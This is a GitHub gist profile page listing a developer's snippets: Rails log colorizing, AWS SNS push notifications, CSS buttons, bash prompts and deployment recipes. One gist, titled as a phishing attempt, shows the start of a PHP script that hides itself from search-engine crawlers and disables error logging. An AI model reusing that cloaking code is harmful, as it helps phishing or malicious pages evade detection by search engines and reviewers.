Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
Code 4ever !

Alexey alexey

💭
Code 4ever !
View GitHub Profile
@alexey
alexey / colorize.rb
Last active Dec 1, 2019
colorize console output, for rails logs
View colorize.rb
#!/usr/bin/env ruby -w
# SETUP:
# Copy this file to your $PATH
# cp colorize.rb ~/colorize (or symlink)
# chmod +x ~/bin/colorize
#
# USAGE:
# tail -f log/development.log | colorize
# rails server | colorize
View keybase.md

Keybase proof

I hereby claim:

To claim this, I am signing this object:

@alexey
alexey / README_AA_CC_AASM.md
Last active Aug 7, 2020
ActiveAdmin + CanCan + AASM event switcher with AJAX
View README_AA_CC_AASM.md

About:

Inspired by activeadmin_addons and its Enum Integration I want to make similar functionality for AASM by letting users change events depending on their abilities and available events/statuses in model.

Sorry i have no time to create an addon right now for this gem but i will try to do it soon. Feel free to modify, use it and integrate. Ask me any question if you need!

Prequestites:

Gem: ActiveAdmin,

@alexey
alexey / aws_sns_push_notification.rb
Created Feb 23, 2017 — forked from jkotchoff/aws_sns_push_notification.rb
Sends a push notifications to an iOS and an Android device from Amazon SNS V2
View aws_sns_push_notification.rb
require 'rubygems'
require 'aws-sdk'
# This code snippet sends a push notification to a device using the Amazon SNS service.
#
# It is using the preview V2 amazon gem as per:
# https://aws.amazon.com/sdk-for-ruby/
#
# This was installed using:
# $ gem install aws-sdk --pre
@alexey
alexey / dribbble.css
Created Dec 19, 2015 — forked from bgardner/dribbble.css
Create social media buttons with CSS3 gradients.
View dribbble.css
/*
Dribbble
------------------------------------------------------------ */
a.button-dribbble {
background-color: #c93764; /* fallback color */
background: -moz-linear-gradient(top, #ea4c89, #c93764);
background: -ms-linear-gradient(top, #ea4c89, #c93764);
background: -webkit-linear-gradient(top, #ea4c89, #c93764);
border: 1px solid #c93764;
View roskomnadzor_phishing_attempt
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
View 0-readme.md

Amazon AWS EC2 production for Ruby on Rails

Prepare cloud

Speed up ssh login

echo 'UseDNS no # if slow connection' >> /etc/ssh/sshd_config
echo 'PrintMotd yes # if you need motd messages' >> /etc/ssh/sshd_config

From /etc/pam.d/login && /etc/pam.d/sshd delete all strings included

session optional pam_motd.so
@alexey
alexey / .bashrc
Created Jul 15, 2013
Colored bash prompt with current git branch name, also color git branch name if code changed. Put it under ur HOME folder with ".bashrc" name
View .bashrc
# Configure colors here
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;35m\]'
c_path='\[\e[1;34m\]'
c_git_clean='\[\e[1;32m\]'
c_git_dirty='\[\e[1;31m\]'
else
c_reset=
c_user=
View prompt.sh
# Configure colors, if available.
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;33m\]'
c_path='\[\e[0;33m\]'
c_git_clean='\[\e[0;36m\]'
c_git_dirty='\[\e[0;35m\]'
else
c_reset=
c_user=
@alexey
alexey / Capistrano-Deployment-Recipe.rb
Created Jun 6, 2011 — forked from mrrooijen/Capistrano-Deployment-Recipe.rb
a "base" Capistrano Rails Deployment Recipe. Use it to deploy your Rails application. It is also easily expandable. So feel free to grab this Recipe and add your own tasks/customization!
View Capistrano-Deployment-Recipe.rb
# Guide
# Configure the essential configurations below and do the following:
#
# Repository Creation:
# cap deploy:repository:create
# git add .
# git commit -am "initial commit"
# git push origin master
#
# Initial Deployment:
You can’t perform that action at this time.